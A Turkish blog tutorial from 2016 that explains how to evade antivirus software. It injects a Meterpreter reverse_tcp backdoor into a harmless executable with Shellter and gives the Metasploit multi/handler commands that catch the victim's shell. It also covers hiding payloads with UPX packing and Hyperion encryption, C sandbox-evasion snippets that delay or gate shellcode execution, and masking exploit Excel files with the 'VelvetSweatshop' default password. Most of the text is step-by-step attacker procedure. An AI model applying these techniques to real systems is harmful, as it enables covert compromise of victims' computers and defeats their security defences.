24 Mayıs 2016

Shellter ve Diğer Yöntemler ile Antivirus Atlatma

1. Shellter Nedir?

Shellter, ücretsiz antivüs atlatma aracıdır. Zararsız bir uygulamaya zararlı kod entegre etmek için kullanılır. Entegre edilen zararlı kodlar, kurban bilgisayarında shell açma ve antivirüsleri atlatmak için kodu modife etmektedir. 

1.2. Shellter Kurulumu

Shellter windows ve linux’te çalışmaktadır. Biz uygulamamızı kali üzerinde yapacağız. Terminale;

root@kali:~# apt-get install shellter 


Kurulumdan sonra uygulamayı başlatmak için;

root@kali:~# shellter 


Shellterda iki mod var. Manual mod ve Auto mod bulunmaktadır. Biz Auto modu seçerek daha hızlı daha optimasyonlu bir işlem yapacağız. 
Auto mod seçildikten sonra, çalıştrırabilir dosya vermemiz gerekmektedir. Bu dosya kullanıcının kurmak istediği dosyadır. Dosya bilgileri;



Örnek olarak Plisteditor.exe dosyasını seçelim.



1.2.1. List Payload

Shellter bize arka kapı olarak seçenek sunacaktır. Seçilen kod Plisteditor.exe dosyasına enjekte edilecektir. Seçeneklerden meterpreter için reverse_TCP seçeçeğiz. Listelenmiş payloadlardan birini kullanmak için “L” diyerek bir sonraki adıma geçilir. Diğeri Custom payload seçeneği LHOST saldırı IP adresi ve LPORT saldırı yapılacak PORT adres değerleri girilir. Bu işlemlerden sorna enjekte işlemi başlayacaktır.



Bir süre bekledikten sonra dosya enjecte edilecektir.  Dosya hazır olduktan sonra kurban bilgisayara enjekte edilecektir. 


1.2.1. Custom Payload

Custom payload seçilmişse eğer, bizim msfvenom ile ürettiğimiz payload gösterilir. Bu bize reflective DLL yüklenmesi için “N” deyip geçilmeli. Reflector programı kodlanmış DLL dosyalarını eğer herhangi bir koruma yapılmamış ise decompile yaparak açık kaynak kod haline getiren bir araçtır.




1.3. Reverse Bağlantı Kurulumu

Oluşturulan dosya çalıştırıldıktan sonra saldırgan tarafından metaspoit tarafından dinlemeye  almalıyız. Multi/handler modülü kullanılır.  Aşağıdaki payload yüklenmelidir;

msf > use exploit/multi/handler
msf exploit(hanler) > set payload windows/meterpreter/reverse_tcp
msf exploit(hanler) > set LHOST 192.168.1.7
msf exploit(hanler) > set LPORT 4444
msf exploit(hanler) > run




Dinleme moduna alındıktan sonra uygulama açılmışsan session oluşacaktır.



Artık kurban bilgisayarındayız. Kurban ele geçirildi.

2. Diğer Önemli Yöntemler
Antivirüs programları virüsleri, trojenleri, …vb. belirlemek için dosya büyüklüğüne, dosya isimlerine ve en önemlisi dosya başlığını(File Header) kontrol ederek tespit etmektdir. Antivirüsler çoğunlukla database’inde ki bilgileri dosyanın başlığı ile karşılaştırarak tarar. Bundan dolayı antivirüs programlarının güncel olması sisteminizi güvende tutmanın önemli bir adımıdır. Fakat dosya başlığını değiştirdiğimizde ne olacaktır? Antivirüs bunu database’nde bulamayacaktır. 

2.1 UPX Nedir?

UPX(Ultimate Packer Executable),  dosya sıkıştırma aracıdır. Bu araç ile sıkıştırılan dosyanın yapısı değişeceğinden antivirüs uygulamalarına tarafından tanınmayacaktır. Çünkü başlık değişmiş olacaktır. Dosya çalışma esnasında tekrar unpack yaparak çalışmaya devam edecektir.

UPX çalışma mantığı code sectionın sonuna pack edilmiş kodları unpack eden bir dosya yerleştirilmiştir. Bu dosya çalışma anında unpack işlemi yapılacaral çalıştırılması gereken asıl dosya aktif olacaktır. 
UPX kullanımı : upx [ command ] [ options ] filename...

commands
-1 sıkıştırma hızlı -9 sıkıştırma daha iyi 
-d sıkıştırmayı aç -l sıkıştırılmış dosyaları göster 
-t sıkıştırılmış dosya testi -V versiyon numarısı göster 
-h yardım -L lisansı göster 
Options
-q uyarıları bastırma -v be verbose 
-oFILE çıkarılacak dosya 
-f şüpheli dosyaları sıkıştırmaya zorla 
-k backup dosyası al 
file.. : sıkıştırılmak istenen dosya 

UPX şu dosyaları destekler; dos/exe, dos/com, dos/sys, djgpp2/coff, watcom/le, 
win32/pe, rtm32/pe, tmt/adam, atari/tos, linux/386 
Şimdi dosyayı sıkıştıralım.
Dosyanın boyutu %63 azaldı ve dosya başlığı değişti. 

Sıkıştırmadan önce dosya görünümü

Sıkıştırdıktan  sonra dosya görünümü. (Dosya section ismi değişikliği görünmektedir.)


Uygulamaları(Upx ile işlem yapmadan önceki ve sonraki) virustotal’a yüklediğinizde gözle görülür bir fark olduğunu göreceksiniz. Unutmayın virustotal’a her yüklediğinizde dosya tespit etme oranı artacaktır. Daha önce de dediğimiz gibi virustotal antivirüs üreticilerine yüklenen dosyaları paylaştığından üreticiler bu uygulamalardaki durumları kontrol edecektir ve zararlı olanları tespit ettikten sonra antivirüs uygulamalarının database’lerine güncelleme olarak geçecektir.
UPX  dosyayısı tekrar sıkıştıramazsınız. UPX sıkıştırılmış dosya olduğunu anladığından bunu yapmanıza izin vermeyecektir. Antivirüs programlarını atlamak için 9 farklı oran var bunları kullanarak atlatma şansınız artacaktır. 

2.2 Hyperion ile PE Şifreleme

Hypreion çalışma mantığı diğer anlattığımız yöntemlerden biraz farklıdır. Hyperion dosyayı şifreler(kriptolar). Şifreyi kimse bilemez, hyperion kendisi de bilmez. Ancak çalışma anında uygulma istediğimiz gibi çalışmaktadır. Hyperion zararlı kodunuzu aktif etmek için şifreyi bulmıştur. Bunu nasıl yapmıştır?

Hyperion dosyayı şifrelerken AES 128 ile şifrelemiştir. Şifrelenen anahtar uzunluğu düşüktür. Çalışma anında bu anahtar düşük olduğundan, bu anahtarı tahmin etmek için brute-force ile bulacaktır. Doğru tahminden sonra PE dosyası decrypt edilecektir. Sizin yerleştirdiğiniz zararlı yazılım aktif olacaktır. 
Antivirüs şifreli olan dosyayı çözemeyeceği için uygulamanın zararlı olduğunu anlayamayacaktır ve uygulamanız antivirüsden korunacaktır. 

2.2.1 Hyperion Nasıl Kurulur?
Uygulamayı buraya(https://github.com/Veil-Framework/Veil-Evasion/tree/master/tools/hyperion) adresinden tıklayarak inderebilirsiniz.  Uygulamayı windowsta çalıştırabilisiniz. Linuxde çalıştırmak için wine aracını kullanmanız gerekmektedir.

Windows için kullanımı
hyperion.exe virus-btrisk.exe encrypt-btrisk.exe 
Kali linux için kullanımı;
sudo wine hyperion.exe virus-btrisk.exe encrypt-btrisk.exe 

Uygulama brute-force sırasında CPU yorucağından 10-15 saniye sonra aktif olacaktır.
Msfvenom ile oluşturulan dosyayı kurban bilgisayarına yükledikten sonra msfconsole’da reverse tcp handler oluşacaktır. Uygulama çalıştığında bir session yakalabilirsiniz. 


2.3 Diğer Yöntemler

Buraya kadar anlattığımız yöntemler dışında da yöntemler mevcuttur.
Antivirüs uygulamaları dosya çalışmadan önce bir sandbox ortamında çalıştırılmaktadır. Bu sandbox ortamından fazla boyutta bir uygulama yaparsak dosya boyutu sandbox boyutundan fazla olacağından antivirüs uygulamasından uygulaması saklayabiliriz.

Örneğim aşağıdaki kodda uyguma boyutu 100MB’dan fazla oluşturulmaktadır. 

#define TOO_MUCH_MEM 100000000
int main()
{
char * memdmp = NULL;
memdmp = (char *) malloc(TOO_MUCH_MEM);
if(memdmp!=NULL)
{
memset(memdmp,00, TOO_MUCH_MEM);
free(memdmp);
decryptCodeSection();
startShellCode();
}
return 0;
}
Başka bir metod da uygulmayı sleep ederek belli bir süre uyumasını sağlamaktır. Sonuçta uygulamayı kontrol eden antivirüs bir kere çalıştırarak kontrol edecektir. Fakat bu süre uzun olursa presentation kötü etkileyeceğinden uygulmayı denetleyemeyecektir. Zararlı kodumuz çalışacaktır.

#include <time.h>
#pragma comment (lib, "winmm.lib")
int main()
{
DWORD mesure1 ;
DWORD mesure2 ;
mesure1 = timeGetTime();
Sleep(1000);
mesure2 = timeGetTime();
if((mesure2 > (mesure1+ 1000))&&(mesure2 < (mesure1+ 1005)))
{
decryptCodeSection();
startShellCode();
}
return 0;
}
Bir başka metod da excel uygulamasında saklı. Excel exploit dosyasının şifrelenmesidir. Excel dosyası şifrelemeye izin vermektedir. Aynı zamanda default bir şifresi de bulunmaktadır. Şifreli olan excel dosyası ilk olarak “VelvetSweatshop” anahatarı ile dosyayı açmayı dener. Bunu kullanıcı dostu olduğu için yapar. Saldırgan da bir hile yapar. Saldırgan bu zafiyeti kullanarak, zararlı yazılımı yerleştirdiği excel dosyasını “VelvetSweatshop” ile şifreler. Antivirüs anahtara sahip olmadığından zararlı yazılımı tespit edemeyecektir.

Görüldüğü gibi saldırganlar her geçen gün tekniklerini geliştirmektedir. En iyi saldırı yöntemi özel olarak hazırlanmış kodlar olacaktır. Antivirüs programları imza tabanlı çözümler ise bu yöntemlere karşı yeteneksiz kalmaktadır.